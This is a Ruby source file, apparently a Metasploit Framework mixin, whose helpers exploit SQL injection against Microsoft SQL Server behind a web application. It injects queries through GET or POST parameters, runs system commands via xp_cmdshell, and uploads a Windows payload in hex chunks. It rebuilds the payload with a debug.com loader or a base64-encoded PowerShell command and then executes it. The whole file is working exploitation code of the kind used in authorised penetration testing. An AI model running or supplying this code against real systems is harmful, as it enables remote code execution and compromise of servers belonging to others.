# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/exploit/mssql_commands'

module Msf

###
#
# This module wraps functionality for exploiting SQL injection vulnerabilities
# Some of the functionality has been borrowed from mssql.rb
#
###
module Exploit::Remote::MSSQL_SQLI


	include Msf::Exploit::Remote::HttpClient

	#
	# Creates an instance of a MSSQL exploit module.
	#
	def initialize(info = {})
		super

		# Register the options that all MSSQL exploits may make use of.
		register_options(
			[
				Opt::RHOST,
				Opt::RPORT(80),
				OptString.new('METHOD', [ true, 'GET or POST', 'GET']),
				OptString.new('GET_PATH', [ true, 'The complete path with [SQLi] indicating the injection', '/']),
				OptString.new('DATA', [ false, 'POST data, if necessary, with [SQLi] indicating the injection', '']),
				OptString.new('COOKIE', [ false, 'Cookie value', '']),
			], Msf::Exploit::Remote::MSSQL_SQLI)
		register_advanced_options(
			[
				OptPath.new('HEX2BINARY',   [ false, "The path to the hex2binary script on the disk",
					File.join(Msf::Config.install_root, "data", "exploits", "mssql", "h2b")
				])
			], Msf::Exploit::Remote::MSSQL_SQLI)

		register_autofilter_ports([ 80, 443, 8080 ])
		register_autofilter_services(%W{ http https })
	end


	#
	# Execute a system command via xp_cmdshell
	#
	def mssql_xpcmdshell(cmd,doprint=false,opts={})
		force_enable = false
		begin
			res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", doprint)
			#mssql_print_reply(res) if doprint

			return res

		rescue RuntimeError => e
			if(e.to_s =~ /xp_cmdshell disabled/)
				force_enable = true
				retry
			end
			raise e
		end
	end


	#
	# Upload and execute a Windows binary through MSSQL queries
	#
	def mssql_upload_exec(exe, debug=false)
		hex = exe.unpack("H*")[0]

		var_bypass  = rand_text_alpha(8)
		var_payload = rand_text_alpha(8)

		print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
		print_status("Writing the debug.com loader to the disk...")
		h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
		h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
		h2b.split(/\n/).each do |line|
			mssql_xpcmdshell("#{line}", false)
		end

		print_status("Converting the debug script to an executable...")
		mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
		mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

		print_status("Uploading the payload, please be patient...")
		idx = 0
		cnt = 500
		while(idx < hex.length - 1)
			mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
			idx += cnt
		end

		print_status("Converting the encoded payload...")
		mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
		mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
		mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

		print_status("Executing the payload...")
		mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 10})
	end

	#
	# Upload and execute a Windows binary through MSSQL queries and Powershell
	#
	def powershell_upload_exec(exe, debug=false)

		# hex converter
		hex = exe.unpack("H*")[0]
		# create random alpha 8 character names
		#var_bypass  = rand_text_alpha(8)
		var_payload = rand_text_alpha(8)
		print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
		# our payload converter, grabs a hex file and converts it to binary for us through powershell
		h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
		h2b_unicode=Rex::Text.to_unicode(h2b)
		# base64 encode it, this allows us to perform execution through powershell without registry changes
		h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
		print_status("Uploading the payload #{var_payload}, please be patient...")
		idx = 0
		cnt = 500
		while(idx < hex.length - 1)
			mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
			idx += cnt
		end
		print_status("Converting the payload utilizing PowerShell EncodedCommand...")
		mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
		mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
		print_status("Executing the payload...")
		mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
		print_status("Be sure to cleanup #{var_payload}.exe...")
	end

	#
	# Issue a SQL query using the the SQL injection point
	#
	def mssql_query(sqla, doprint=false)

		if (doprint)
			print_status(sqla)
		end
		if (datastore['METHOD'] == 'GET')

			unless datastore['GET_PATH'].index("[SQLi]")
				fail_with(Exploit::Failure::NoTarget, "The SQL injection parameter was not specified in the GET path")
			end

			uri = datastore['GET_PATH'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
			res = send_request_cgi({
				'uri'          => uri,
				'method'       => 'GET',
				'cookie'       => datastore['COOKIE'],
				'headers'      => {
					'Accept'	=> '*/*',
					'User-Agent'	=> 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				}
			}, 5)
		else

			unless datastore['DATA'].index("[SQLi]")
				fail_with(Exploit::Failure::NoTarget, "The SQL injection parameter was not specified in the POST data")
			end

			post_data = datastore['DATA'].gsub("[SQLi]", Rex::Text.uri_encode(sqla))
			uri = datastore['GET_PATH']
			res = send_request_cgi({
				'uri'          => uri,
				'method'       => 'POST',
				'data'         => post_data,
				'cookie'       => datastore['COOKIE'],
				'headers'      => {
					'Accept'	=> '*/*',
					'User-Agent'	=> 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				}
			}, 5)
		end

	end

end
end
